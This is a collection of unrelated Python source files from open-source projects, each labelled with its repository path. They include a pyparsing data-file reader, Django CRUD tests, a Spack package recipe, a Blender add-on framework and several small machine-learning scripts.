instance += -1 if instance == occurrence: break row -= 1 j = self._current_row + row + rowoffset line = self._data[j] fields = self._parse_line().parseString(line.replace(key, "KeyField")) return fields[field] def transfer_array(self, rowstart, fieldstart, rowend=None, fieldend=None): """ Get an array of variables relative to the current anchor. Setting the delimiter to 'columns' elicits some special behavior from this method. Normally, the extraction process wraps around at the end of a line and continues grabbing each field at the start of a newline. When the delimiter is set to columns, the parameters (rowstart, fieldstart, rowend, fieldend) demark a box, and all values in that box are retrieved. Note that standard whitespace is the secondary delimiter in this case. Parameters ---------- rowstart : int Row number to start, relative to the current anchor. fieldstart : int Field number to start. rowend : int, optional Row number to end. If not set, then only one row is grabbed. fieldend : int Field number to end. Returns ------- string Data from the requested location in the file. """ j1 = self._current_row + rowstart if rowend is None: j2 = j1 + 1 else: j2 = self._current_row + rowend + 1 if not fieldend: raise ValueError("fieldend is missing, currently required") lines = self._data[j1:j2] data = np.zeros(shape=(0, 0)) for i, line in enumerate(lines): if self._delimiter == "columns": line = line[(fieldstart - 1):fieldend] # Stripping whitespace may be controversial. line = line.strip() # Let pyparsing figure out if this is a number, and return it # as a float or int as appropriate parsed = self._parse_line().parseString(line) newdata = np.array(parsed[:]) # data might have been split if it contains whitespace. If the # data is string, we probably didn't want this. if newdata.dtype.type is np.str_: newdata = np.array(line) data = np.append(data, newdata) else: parsed = self._parse_line().parseString(line) if i == j2 - j1 - 1: data = np.append(data, np.array(parsed[(fieldstart - 1):fieldend])) else: data = np.append(data, np.array(parsed[(fieldstart - 1):])) fieldstart = 1 return data def transfer_2Darray(self, rowstart, fieldstart, rowend, fieldend=None): """ Get a 2D array of variables relative to the current anchor. Each line of data is placed in a separate row. If the delimiter is set to 'columns', then the values contained in fieldstart and fieldend should be the column number instead of the field number. Parameters ---------- rowstart : int Row number to start, relative to the current anchor. fieldstart : int Field number to start. rowend : int Row number to end relative to current anchor. fieldend : int (optional) Field number to end. If not specified, grabs all fields up to the end of the line. Returns ------- string Data from the requested location in the file. """ if fieldend and (fieldstart > fieldend): msg = "fieldend must be greater than fieldstart" raise ValueError(msg) if rowstart > rowend: msg = "rowend must be greater than rowstart" raise ValueError(msg) j1 = self._current_row + rowstart j2 = self._current_row + rowend + 1 lines = list(self._data[j1:j2]) if self._delimiter == "columns": if fieldend: line = lines[0][(fieldstart - 1):fieldend] else: line = lines[0][(fieldstart - 1):] parsed = self._parse_line().parseString(line) row = np.array(parsed[:]) data = np.zeros(shape=(abs(j2 - j1), len(row))) data[0, :] = row for i, line in enumerate(list(lines[1:])): if fieldend: line = line[(fieldstart - 1):fieldend] else: line = line[(fieldstart - 1):] parsed = self._parse_line().parseString(line) data[i + 1, :] = np.array(parsed[:]) else: parsed = self._parse_line().parseString(lines[0]) if fieldend: row = np.array(parsed[(fieldstart - 1):fieldend]) else: row = np.array(parsed[(fieldstart - 1):]) data = np.zeros(shape=(abs(j2 - j1), len(row))) data[0, :] = row for i, line in enumerate(list(lines[1:])): parsed = self._parse_line().parseString(line) if fieldend: try: data[i + 1, :] = np.array(parsed[(fieldstart - 1):fieldend]) except Exception: print(data) else: data[i + 1, :] = np.array(parsed[(fieldstart - 1):]) return data def _parse_line(self): """ Parse a single data line that may contain string or numerical data. Float and Int 'words' are converted to their appropriate type. Exponentiation is supported, as are NaN and Inf. Returns ------- <ParserElement> the parsed line. """ return self.line_parse_token def _reset_tokens(self): """ Set up the tokens for pyparsing. """ # Somewhat of a hack, but we can only use printables if the delimiter is # just whitespace. Otherwise, some seprators (like ',' or '=') potentially # get parsed into the general string text. So, if we have non whitespace # delimiters, we need to fall back to just alphanums, and then add in any # missing but important symbols to parse. if self._delimiter.isspace(): textchars = printables else: textchars = alphanums symbols = ['.', '/', '+', '*', '^', '(', ')', '[', ']', '=', ':', ';', '?', '%', '&', '!', '#', '|', '<', '>', '{', '}', '-', '_', '@', '$', '~'] for symbol in symbols: if symbol not in self._delimiter: textchars = textchars + symbol digits = Word(nums) dot = "." sign = oneOf("+ -") ee = CaselessLiteral('E') | CaselessLiteral('D') num_int = _ToInteger(Combine(Optional(sign) + digits)) num_float = _ToFloat(Combine( Optional(sign) + ((digits + dot + Optional(digits)) | (dot + digits)) + Optional(ee + Optional(sign) + digits) )) # special case for a float written like "3e5" mixed_exp = _ToFloat(Combine(digits + ee + Optional(sign) + digits)) nan = (_ToInf(oneOf("Inf -Inf")) | _ToNan(oneOf("NaN nan NaN% NaNQ NaNS qNaN sNaN 1.#SNAN 1.#QNAN -1.#IND"))) string_text = Word(textchars) self.line_parse_token = (OneOrMore((nan | num_float | mixed_exp | num_int | string_text)))
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src/unicon/plugins/iosxe/quad/patterns.py
TestingBytes/unicon.plugins
18
123639
""" IOS-XE Quad Patterns """ from unicon.plugins.iosxe.patterns import IosXEPatterns class IosXEQuadPatterns(IosXEPatterns): def __init__(self): super().__init__() self.rpr_state = r'RPR Mode: Remote supervisor is already active' self.unlock_state = r'RPR Mode: Remote Supervisor is no longer active' self.autoboot =r'Preparing to autoboot.+\[Press Ctrl-C to interrupt\]' self.ica = r'RPR Mode:.+Will boot as in-chassis active' self.proceed_switchover = r'^.*Proceed with switchover to standby RP\? \[confirm\]'
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logistic_regression/run_my_classifier.py
GuanLab/DeepSleep
27
1612410
#!/usr/bin/env python3 """ Created on Fri Mar 30 22:03:29 2018 @author: mohammad """ import sys import os import glob import numpy as np import pandas as pd import scipy.io from sklearn.externals import joblib import physionetchallenge2018_lib as phyc def classify_record(record_name): header_file = record_name + '.hea' signal_file = record_name + '.mat' # Read model files from the 'models' subdirectory, which are # generated by 'train_classifier.py' model_list = [] for f in glob.glob('models/*_model.pkl'): model_list.append(f) # Use the average predictions from the models generated on the # training set predictions_mean = 0. for j in range(0, len(model_list)): this_model = model_list[j] predictions = run_classifier(header_file, signal_file, this_model) predictions_mean += predictions predictions_mean /= len(model_list) # !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! # Return a vector of per-sample predictions, as per challenge requirements # !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! return predictions_mean # This function generates the predictions from a single model def run_classifier(header_file, signal_file, classifier_pickle): signal_names, Fs, n_samples = phyc.import_signal_names(header_file) # Get this subject's data as a dataframe this_data = phyc.get_subject_data_test(signal_file, signal_names) SaO2 = this_data.get(['SaO2']).values step = Fs * 60 window_size = Fs * 60 # Initialize the X_subj and Y_subj matricies X_subj = np.zeros([((n_samples) // step), 1]) for idx, k in enumerate(range(0, (n_samples-step+1), step)): X_subj[idx, :] = np.var(np.transpose(SaO2[k:k+window_size]), axis=1) # Load the classifier my_classifier = joblib.load(classifier_pickle) # Generate the prediction for the subjects. predictions = my_classifier.predict_proba(X_subj) predictions = predictions[:, 1] predictions = [x * np.ones([window_size]) for x in predictions] predictions = np.concatenate(predictions) predictions = np.append(predictions, np.zeros(np.size(this_data, 0) - np.size(predictions, 0))) return predictions if __name__ == '__main__': for record in sys.argv[1:]: output_file = os.path.basename(record) + '.vec' results = classify_record(record) np.savetxt('vec/' + output_file, results, fmt='%.3f')
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tests/main.py
jaeglee0416/pydatalab
0
184569
<reponame>jaeglee0416/pydatalab<gh_stars>0 # Copyright 2015 Google Inc. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except # in compliance with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software distributed under the License # is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express # or implied. See the License for the specific language governing permissions and limitations under # the License. from __future__ import absolute_import from __future__ import unicode_literals import sys import unittest # For these tests to work locally, install the package with "pip install -e ." # from the parent folder and run "python tests/main.py" import context_tests import bigquery.api_tests import bigquery.dataset_tests import bigquery.external_data_source_tests import bigquery.jobs_tests import bigquery.parser_tests import bigquery.query_tests import bigquery.sampling_tests import bigquery.schema_tests import bigquery.table_tests # import bigquery.udf_tests import bigquery.view_tests import kernel.bigquery_tests import kernel.chart_data_tests import kernel.chart_tests import kernel.commands_tests import kernel.html_tests import kernel.storage_tests import kernel.utils_tests import ml.dataset_tests import mltoolbox_structured_data.dl_interface_tests import mltoolbox_structured_data.sd_e2e_tests import mltoolbox_structured_data.traininglib_tests import stackdriver.commands.monitoring_tests import stackdriver.monitoring.group_tests import stackdriver.monitoring.metric_tests import stackdriver.monitoring.resource_tests import stackdriver.monitoring.query_metadata_tests import stackdriver.monitoring.query_tests import stackdriver.monitoring.utils_tests import storage.api_tests import storage.bucket_tests import storage.object_tests import _util.http_tests import _util.lru_cache_tests import _util.util_tests _TEST_MODULES = [ context_tests, bigquery.api_tests, bigquery.dataset_tests, # bigquery.external_data_source_tests, # TODO: enable external data source tests bigquery.jobs_tests, bigquery.parser_tests, bigquery.query_tests, bigquery.sampling_tests, bigquery.schema_tests, bigquery.table_tests, # bigquery.udf_tests, # TODO: enable UDF tests once new implementation is done bigquery.view_tests, bigquery.sampling_tests, kernel.bigquery_tests, kernel.chart_data_tests, kernel.chart_tests, kernel.commands_tests, kernel.html_tests, kernel.storage_tests, kernel.utils_tests, ml.dataset_tests, mltoolbox_structured_data.dl_interface_tests, mltoolbox_structured_data.sd_e2e_tests, # Not everything runs in Python 3. mltoolbox_structured_data.traininglib_tests, stackdriver.commands.monitoring_tests, stackdriver.monitoring.group_tests, stackdriver.monitoring.metric_tests, stackdriver.monitoring.resource_tests, stackdriver.monitoring.query_metadata_tests, stackdriver.monitoring.query_tests, stackdriver.monitoring.utils_tests, storage.api_tests, storage.bucket_tests, storage.object_tests, _util.http_tests, _util.lru_cache_tests, _util.util_tests ] if __name__ == '__main__': suite = unittest.TestSuite() for m in _TEST_MODULES: suite.addTests(unittest.defaultTestLoader.loadTestsFromModule(m)) runner = unittest.TextTestRunner() result = runner.run(suite) sys.exit(len(result.errors) + len(result.failures))
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29898, 2914, 29889, 14057, 1973, 876, 13, 2 ]
moneyforecast/tests/records/test_record_crud.py
curaloucura/money-forecast
7
146947
import pytest import json from pyquery import PyQuery from django.core.urlresolvers import reverse from records.models import Record, OUTCOME, INCOME pytest_plugins = ['tests.records.fixtures'] @pytest.fixture def user_client(user, client): result = client.login(username=user.username, password=<PASSWORD>) assert result return client @pytest.fixture def html_parser(): return HtmlParserUtil() class HtmlParserUtil: def set(self, html): self.parser = PyQuery(html) def select(self, css_selector): return self.parser(css_selector) @pytest.mark.django_db class TestIncomeNoRecurring: @pytest.fixture def income_new(self, user_client, income, current_date, user): record = Record.objects.create( category=income, amount=1, start_date=current_date, user=user) return record def test_create_returns_new_id( self, income, current_date, user_client): post_data = { 'description': 'income', 'category': income.id, 'new_category': '', 'amount': 1, 'start_date': current_date.strftime("%d.%m.%Y"), } create_income_url = reverse("create_record", kwargs={"type": INCOME}) response = user_client.post(create_income_url, post_data) assert response.status_code == 200 try: new_id = json.loads(response.content) except ValueError: raise Exception("Form is invalid or content is not a json") assert new_id > 0 def test_update_changes_value_in_db( self, income_new, income, user, user_client, current_date): new_description = "changed income" new_amount = 9999 update_record_url = reverse( "update_record", kwargs={"pk": income_new.id}) post_data = { 'description': new_description, 'category': income.id, 'new_category': '', 'amount': new_amount, 'start_date': current_date.strftime("%d.%m.%Y"), } response = user_client.post(update_record_url, post_data) assert response.status_code == 200 updated = json.loads(response.content) assert updated['id'] == income_new.id instance = Record.objects.get(pk=updated['id']) assert instance.amount == new_amount assert instance.description == new_description def test_delete_returns_no_id( self, income_new, user_client): delete_record_url = reverse( "delete_record", kwargs={"pk": income_new.id}) response = user_client.post(delete_record_url) assert response.status_code == 200 deleted = json.loads(response.content) assert deleted['id'] is 0 @pytest.mark.django_db class TestOutcomeNoRecurring: @pytest.fixture def outcome_new(self, user_client, outcome, current_date, user): record = Record.objects.create( category=outcome, amount=1, start_date=current_date, user=user) return record def test_create_returns_new_id( self, outcome, current_date, user_client): post_data = { 'description': 'outcome', 'category': outcome.id, 'new_category': '', 'amount': 1, 'start_date': current_date.strftime("%d.%m.%Y"), } create_outcome_url = reverse("create_record", kwargs={"type": OUTCOME}) response = user_client.post(create_outcome_url, post_data) assert response.status_code == 200 try: new_id = json.loads(response.content) except ValueError: raise Exception("Form is invalid or content is not a json") assert new_id > 0 def test_update_changes_value_in_db( self, outcome_new, outcome, user, user_client, current_date): new_description = "changed outcome" new_amount = 9999 update_record_url = reverse( "update_record", kwargs={"pk": outcome_new.id}) post_data = { 'description': new_description, 'category': outcome.id, 'new_category': '', 'amount': new_amount, 'start_date': current_date.strftime("%d.%m.%Y"), } response = user_client.post(update_record_url, post_data) assert response.status_code == 200 updated = json.loads(response.content) assert updated['id'] == outcome_new.id instance = Record.objects.get(pk=updated['id']) assert instance.amount == new_amount assert instance.description == new_description def test_delete_returns_no_id( self, outcome_new, user_client): delete_record_url = reverse( "delete_record", kwargs={"pk": outcome_new.id}) response = user_client.post(delete_record_url) assert response.status_code == 200 deleted = json.loads(response.content) assert deleted['id'] is 0
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demo/production/production_server.py
lanius/hunk
1
119876
<filename>demo/production/production_server.py # -*- coding: utf-8 -*- from flask import Flask, jsonify app = Flask(__name__) @app.after_request def after_request(response): response.headers.add('Access-Control-Allow-Origin', '*') return response @app.route('/available/<int:i>') def from_production(i): return jsonify({'message': 'I am from production server.'}) def main(): app.run('localhost', 9000) if __name__ == '__main__': main()
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var/spack/repos/builtin/packages/mitofates/package.py
whitfin/spack
3
1611866
<reponame>whitfin/spack<gh_stars>1-10 # Copyright 2013-2019 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) from spack import * import glob class Mitofates(Package): """MitoFates predicts mitochondrial presequence, a cleavable localization signal located in N-terminal, and its cleaved position.""" homepage = "http://mitf.cbrc.jp/MitoFates/cgi-bin/top.cgi" url = "http://mitf.cbrc.jp/MitoFates/program/MitoFates_1.2.tar.gz" version('1.2', 'aaac42a8e8c7318a4abde9df3a4b72d1') depends_on('libsvm') depends_on('perl', type='run') depends_on('perl-inline-c', type='run') depends_on('perl-perl6-slurp', type='run') depends_on('perl-math-cephes', type='run') # The DirichletRegulator_fast.pm sets the perl Inline directory # to be inside the deployed source (which won't be writable by # the end user of site wide deployed software. # Removing that config entry will cause the inline module to auto # create a directory in the user's homedir instead patch('DirichletRegulator_fast.patch') def patch(self): perlscripts = FileFilter('MitoFates.pl') perlscripts.filter('#!/usr/bin/perl', '#!/usr/bin/env perl') # other perl module files probably should get this filter too with working_dir(join_path(self.stage.source_path, 'bin/modules')): perlmodules = glob.glob('*.pm') filter_file('#!/usr/bin/perl', '#!/usr/bin/env perl', *perlmodules) def install(self, spec, prefix): install_tree('bin', prefix.bin) install('MitoFates.pl', prefix) chmod = which('chmod') chmod('+x', join_path(prefix, 'MitoFates.pl')) def setup_environment(self, spack_env, run_env): # We want the main MitoFates.pl script in the path run_env.prepend_path('PATH', self.prefix)
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galleries/annotations_filtering/__init__.py
mnicolas94/galleries
0
53547
<gh_stars>0 import enum class ComparisonType(enum.Enum): EQUAL = 0 NOTEQUAL = 1 LESS = 2 GREATER = 3 GREATER_EQUAL = 4 LESS_EQUAL = 5 CONTAINS = 6 data_type_to_comparison_type = { bool: [ ComparisonType.EQUAL, ComparisonType.NOTEQUAL ], int: [ ComparisonType.EQUAL, ComparisonType.NOTEQUAL, ComparisonType.LESS, ComparisonType.GREATER, ComparisonType.GREATER_EQUAL, ComparisonType.LESS_EQUAL ], float: [ ComparisonType.EQUAL, ComparisonType.NOTEQUAL, ComparisonType.LESS, ComparisonType.GREATER, ComparisonType.GREATER_EQUAL, ComparisonType.LESS_EQUAL ], str: [ ComparisonType.EQUAL, ComparisonType.NOTEQUAL, ComparisonType.CONTAINS, ], list: [ ComparisonType.CONTAINS, ] } def equal_func(a, b) -> bool: return a == b def not_equal_func(a, b) -> bool: return a != b def less_func(a, b) -> bool: return a < b def less_equal_func(a, b) -> bool: return a <= b def greater_func(a, b) -> bool: return a > b def greater_equal_func(a, b) -> bool: return a >= b def contains_func(l: list, a) -> bool: return a in l comparison_type_functions = { ComparisonType.EQUAL: equal_func, ComparisonType.NOTEQUAL: not_equal_func, ComparisonType.LESS: less_func, ComparisonType.GREATER: greater_func, ComparisonType.GREATER_EQUAL: greater_equal_func, ComparisonType.LESS_EQUAL: less_equal_func, ComparisonType.CONTAINS: contains_func, } comparison_type_to_sql_operator = { ComparisonType.EQUAL: "==", ComparisonType.NOTEQUAL: "==", ComparisonType.LESS: "<", ComparisonType.GREATER: ">", ComparisonType.GREATER_EQUAL: ">=", ComparisonType.LESS_EQUAL: "<=", }
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Verify-Manual-python/train/core/train.py
skyduy/zfverify
52
117976
# coding: utf-8 from numpy import matrix from oneVsAll import oneVsAll from numpy import loadtxt, savetxt from predictOneVsAll import predictOneVsAll def train(): num_labels = 34 print '... Training' X = matrix(loadtxt('X.dat')) / 255.0 y = matrix(loadtxt('y.dat')).transpose() the_lambda = 0.1 all_theta = oneVsAll(X, y, num_labels, the_lambda) savetxt('theta.dat', all_theta) def test(): print '... Testing' all_theta = matrix(loadtxt('theta.dat')) X_test = matrix(loadtxt('X_test.dat')) / 255.0 y_test = matrix(loadtxt('y_test.dat')).transpose() acc, pred = predictOneVsAll(all_theta, X_test) single_acc = sum(pred == y_test) / (len(y_test) * 1.0) max_acc = pow(single_acc, 4) min_acc = single_acc*4 - 3 print 'Theoretical accuracy:' print '\tSingle accuracy: %2.2f%%' % (single_acc*100) print '\tTotal accuracy: %2.2f%% ~ %2.2f%%' % (min_acc*100, max_acc*100) test()
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blender/2.79/scripts/addons/modules/extensions_framework/__init__.py
uzairakbar/bpy2.79
2
22987
# -*- coding: utf-8 -*- # # ***** BEGIN GPL LICENSE BLOCK ***** # # -------------------------------------------------------------------------- # Blender 2.5 Extensions Framework # -------------------------------------------------------------------------- # # Authors: # <NAME> # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, see <http://www.gnu.org/licenses/>. # # ***** END GPL LICENCE BLOCK ***** # import time import bpy from extensions_framework.ui import EF_OT_msg bpy.utils.register_class(EF_OT_msg) del EF_OT_msg def log(str, popup=False, module_name='EF'): """Print a message to the console, prefixed with the module_name and the current time. If the popup flag is True, the message will be raised in the UI as a warning using the operator bpy.ops.ef.msg. """ print("[%s %s] %s" % (module_name, time.strftime('%Y-%b-%d %H:%M:%S'), str)) if popup: bpy.ops.ef.msg( msg_type='WARNING', msg_text=str ) added_property_cache = {} def init_properties(obj, props, cache=True): """Initialise custom properties in the given object or type. The props list is described in the declarative_property_group class definition. If the cache flag is False, this function will attempt to redefine properties even if they have already been added. """ if not obj in added_property_cache.keys(): added_property_cache[obj] = [] for prop in props: try: if cache and prop['attr'] in added_property_cache[obj]: continue if prop['type'] == 'bool': t = bpy.props.BoolProperty a = {k: v for k,v in prop.items() if k in ["name", "description","default","options","subtype","update"]} elif prop['type'] == 'bool_vector': t = bpy.props.BoolVectorProperty a = {k: v for k,v in prop.items() if k in ["name", "description","default","options","subtype","size", "update"]} elif prop['type'] == 'collection': t = bpy.props.CollectionProperty a = {k: v for k,v in prop.items() if k in ["ptype","name", "description","default","options"]} a['type'] = a['ptype'] del a['ptype'] elif prop['type'] == 'enum': t = bpy.props.EnumProperty a = {k: v for k,v in prop.items() if k in ["items","name", "description","default","options","update"]} elif prop['type'] == 'float': t = bpy.props.FloatProperty a = {k: v for k,v in prop.items() if k in ["name", "description","default","min","max","soft_min","soft_max", "step","precision","options","subtype","unit","update"]} elif prop['type'] == 'float_vector': t = bpy.props.FloatVectorProperty a = {k: v for k,v in prop.items() if k in ["name", "description","default","min","max","soft_min","soft_max", "step","precision","options","subtype","size","update"]} elif prop['type'] == 'int': t = bpy.props.IntProperty a = {k: v for k,v in prop.items() if k in ["name", "description","default","min","max","soft_min","soft_max", "step","options","subtype","update"]} elif prop['type'] == 'int_vector': t = bpy.props.IntVectorProperty a = {k: v for k,v in prop.items() if k in ["name", "description","default","min","max","soft_min","soft_max", "options","subtype","size","update"]} elif prop['type'] == 'pointer': t = bpy.props.PointerProperty a = {k: v for k,v in prop.items() if k in ["ptype", "name", "description","options","update"]} a['type'] = a['ptype'] del a['ptype'] elif prop['type'] == 'string': t = bpy.props.StringProperty a = {k: v for k,v in prop.items() if k in ["name", "description","default","maxlen","options","subtype", "update"]} else: continue setattr(obj, prop['attr'], t(**a)) added_property_cache[obj].append(prop['attr']) except KeyError: # Silently skip invalid entries in props continue class declarative_property_group(bpy.types.PropertyGroup): """A declarative_property_group describes a set of logically related properties, using a declarative style to list each property type, name, values, and other relevant information. The information provided for each property depends on the property's type. The properties list attribute in this class describes the properties present in this group. Some additional information about the properties in this group can be specified, so that a UI can be generated to display them. To that end, the controls list attribute and the visibility dict attribute are present here, to be read and interpreted by a property_group_renderer object. See extensions_framework.ui.property_group_renderer. """ ef_initialised = False """This property tells extensions_framework which bpy.type(s) to attach this PropertyGroup to. If left as an empty list, it will not be attached to any type, but its properties will still be initialised. The type(s) given in the list should be a string, such as 'Scene'. """ ef_attach_to = [] @classmethod def initialise_properties(cls): """This is a function that should be called on sub-classes of declarative_property_group in order to ensure that they are initialised when the addon is loaded. the init_properties is called without caching here, as it is assumed that any addon calling this function will also call ef_remove_properties when it is unregistered. """ if not cls.ef_initialised: for property_group_parent in cls.ef_attach_to: if property_group_parent is not None: prototype = getattr(bpy.types, property_group_parent) if not hasattr(prototype, cls.__name__): init_properties(prototype, [{ 'type': 'pointer', 'attr': cls.__name__, 'ptype': cls, 'name': cls.__name__, 'description': cls.__name__ }], cache=False) init_properties(cls, cls.properties, cache=False) cls.ef_initialised = True return cls @classmethod def register_initialise_properties(cls): """As ef_initialise_properties, but also registers the class with RNA. Note that this isn't a great idea because it's non-trivial to unregister the class, unless you keep track of it yourself. """ bpy.utils.register_class(cls) cls.initialise_properties() return cls @classmethod def remove_properties(cls): """This is a function that should be called on sub-classes of declarative_property_group in order to ensure that they are un-initialised when the addon is unloaded. """ if cls.ef_initialised: prototype = getattr(bpy.types, cls.__name__) for prop in cls.properties: if hasattr(prototype, prop['attr']): delattr(prototype, prop['attr']) for property_group_parent in cls.ef_attach_to: if property_group_parent is not None: prototype = getattr(bpy.types, property_group_parent) if hasattr(prototype, cls.__name__): delattr(prototype, cls.__name__) cls.ef_initialised = False return cls """This list controls the order of property layout when rendered by a property_group_renderer. This can be a nested list, where each list becomes a row in the panel layout. Nesting may be to any depth. """ controls = [] """The visibility dict controls the visibility of properties based on the value of other properties. See extensions_framework.validate for test syntax. """ visibility = {} """The enabled dict controls the enabled state of properties based on the value of other properties. See extensions_framework.validate for test syntax. """ enabled = {} """The alert dict controls the alert state of properties based on the value of other properties. See extensions_framework.validate for test syntax. """ alert = {} """The properties list describes each property to be created. Each item should be a dict of args to pass to a bpy.props.<?>Property function, with the exception of 'type' which is used and stripped by extensions_framework in order to determine which Property creation function to call. Example item: { 'type': 'int', # bpy.props.IntProperty 'attr': 'threads', # bpy.types.<type>.threads 'name': 'Render Threads', # Rendered next to the UI 'description': 'Number of threads to use', # Tooltip text in the UI 'default': 1, 'min': 1, 'soft_min': 1, 'max': 64, 'soft_max': 64 } """ properties = [] def draw_callback(self, context): """Sub-classes can override this to get a callback when rendering is completed by a property_group_renderer sub-class. """ pass @classmethod def get_exportable_properties(cls): """Return a list of properties which have the 'save_in_preset' key set to True, and hence should be saved into preset files. """ out = [] for prop in cls.properties: if 'save_in_preset' in prop.keys() and prop['save_in_preset']: out.append(prop) return out def reset(self): """Reset all properties in this group to the default value, if specified""" for prop in self.properties: pk = prop.keys() if 'attr' in pk and 'default' in pk and hasattr(self, prop['attr']): setattr(self, prop['attr'], prop['default']) class Addon(object): """A list of classes registered by this addon""" static_addon_count = 0 addon_serial = 0 addon_classes = None bl_info = None BL_VERSION = None BL_IDNAME = None def __init__(self, bl_info=None): self.addon_classes = [] self.bl_info = bl_info # Keep a count in case we have to give this addon an anonymous name self.addon_serial = Addon.static_addon_count Addon.static_addon_count += 1 if self.bl_info: self.BL_VERSION = '.'.join(['%s'%v for v in self.bl_info['version']]).lower() self.BL_IDNAME = self.bl_info['name'].lower() + '-' + self.BL_VERSION else: # construct anonymous name self.BL_VERSION = '0' self.BL_IDNAME = 'Addon-%03d'%self.addon_serial def addon_register_class(self, cls): """This method is designed to be used as a decorator on RNA-registerable classes defined by the addon. By using this decorator, this class will keep track of classes registered by this addon so that they can be unregistered later in the correct order. """ self.addon_classes.append(cls) return cls def register(self): """This is the register function that should be exposed in the addon's __init__. """ for cls in self.addon_classes: bpy.utils.register_class(cls) if hasattr(cls, 'ef_attach_to'): cls.initialise_properties() def unregister(self): """This is the unregister function that should be exposed in the addon's __init__. """ for cls in self.addon_classes[::-1]: # unregister in reverse order if hasattr(cls, 'ef_attach_to'): cls.remove_properties() bpy.utils.unregister_class(cls) def init_functions(self): """Returns references to the three functions that this addon needs for successful class registration management. In the addon's __init__ you would use like this: addon_register_class, register, unregister = Addon().init_functions() """ return self.register, self.unregister
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extended_int/__init__.py
NeilGirdhar/extended_int
2
134899
<reponame>NeilGirdhar/extended_int<gh_stars>1-10 from .extended_int import * from .extended_integral import *
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api/models/folder.py
djfoley01/ocp-monitor
7
93900
import os import re import rethinkdb as r from jose import jwt from jose.exceptions import JWTError from datetime import datetime from passlib.hash import pbkdf2_sha256 from flask import current_app from api.models.RethinkDBModel import RethinkDBModel from api.models.file import File conn = r.connect(db='papers') class Folder(File): @classmethod def create(cls, **kwargs): name = kwargs.get('name') parent = kwargs.get('parent') creator = kwargs.get('creator') # Direct parent ID parent_id = '0' if parent is None else parent['id'] doc = { 'name': name, 'parent_id': parent_id, 'creator': creator, 'is_folder': True, 'last_index': 0, 'status': True, 'objects': None, 'date_created': datetime.now(r.make_timezone('+01:00')), 'date_modified': datetime.now(r.make_timezone('+01:00')) } res = r.table(cls._table).insert(doc).run(conn) doc['id'] = res['generated_keys'][0] if parent is not None: cls.add_object(parent, doc['id'], True) cls.tag_folder(parent, doc['id']) return doc @classmethod def move(cls, obj, to): if to is not None: parent_tag = to['tag'] child_tag = obj['tag'] parent_sections = parent_tag.split("#") child_sections = child_tag.split("#") if len(parent_sections) > len(child_sections): matches = re.match(child_tag, parent_tag) if matches is not None: raise Exception("You can't move this object to the specified folder") previous_folder_id = obj['parent_id'] previous_folder = cls.find(previous_folder_id) cls.remove_object(previous_folder, obj['id']) if to is not None: cls.add_object(to, obj['id'], True) @classmethod def remove_object(cls, folder, object_id): update_fields = folder['objects'] or [] while object_id in update_fields: update_fields.remove(object_id) cls.update(folder['id'], {'objects': update_fields}) @classmethod def add_object(cls, folder, object_id, is_folder=False): p = {} update_fields = folder['objects'] or [] update_fields.append(object_id) if is_folder: p['last_index'] = folder['last_index'] + 1 p['objects'] = update_fields cls.update(folder['id'], p) @classmethod def tag_folder(cls, parent, id): tag = id if parent is None else "{0}#{1}".format(parent['tag'], parent['last_index']) cls.update(id, {'tag': tag})
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Pasture_Growth_Modelling/initialisation_support/dryland_ibasal.py
Komanawa-Solutions-Ltd/SLMACC-2020-CSRA
0
13542
""" Author: <NAME> Created: 23/11/2020 11:06 AM """ import ksl_env # add basgra nz functions ksl_env.add_basgra_nz_path() from supporting_functions.plotting import plot_multiple_results from check_basgra_python.support_for_tests import establish_org_input, get_lincoln_broadfield, get_woodward_weather, _clean_harvest from input_output_keys import matrix_weather_keys_pet from basgra_python import run_basgra_nz def run_nonirr_lincoln_low_basil(IBASAL): params, matrix_weather, days_harvest, doy_irr = establish_org_input('lincoln') matrix_weather = get_lincoln_broadfield() matrix_weather.loc[:, 'max_irr'] = 10 matrix_weather.loc[:, 'irr_trig'] = 0 matrix_weather.loc[:, 'irr_targ'] = 1 matrix_weather = matrix_weather.loc[:, matrix_weather_keys_pet] params['IRRIGF'] = 0 # no irrigation params['BASALI'] = IBASAL # start at 20% basal days_harvest = _clean_harvest(days_harvest,matrix_weather) out = run_basgra_nz(params, matrix_weather, days_harvest, doy_irr, verbose=False) out.loc[:,'per_fc'] = out.loc[:,'WAL']/out.loc[:,'WAFC'] out.loc[:,'per_paw'] = out.loc[:,'PAW']/out.loc[:,'MXPAW'] return out if __name__ == '__main__': ibasals = [0,0.1,0.15,.2,0.3] data = { 'IBASAL:{}'.format(e): run_nonirr_lincoln_low_basil(e) for e in ibasals } plot_multiple_results(data, out_vars=['BASAL', 'DM', 'YIELD','per_paw'])
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src/tests/profile.py
royalstream/pythonnet
1
40793
"""Run all of the unit tests for this package over and over, in order to provide for better profiling.""" from __future__ import print_function def main(): import sys, os, gc, time dirname = os.path.split(__file__) sys.path.append(dirname) import runtests gc.set_debug(gc.DEBUG_LEAK) start = time.clock() for i in range(50): print('iteration: %d' % i) runtests.main() stop = time.clock() took = str(stop - start) print('Total Time: %s' % took) for item in gc.get_objects(): print(item, sys.getrefcount(item)) if __name__ == '__main__': main() sys.exit(0)
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losses.py
abhinav-2912/Polyp-Segmentation
0
16430
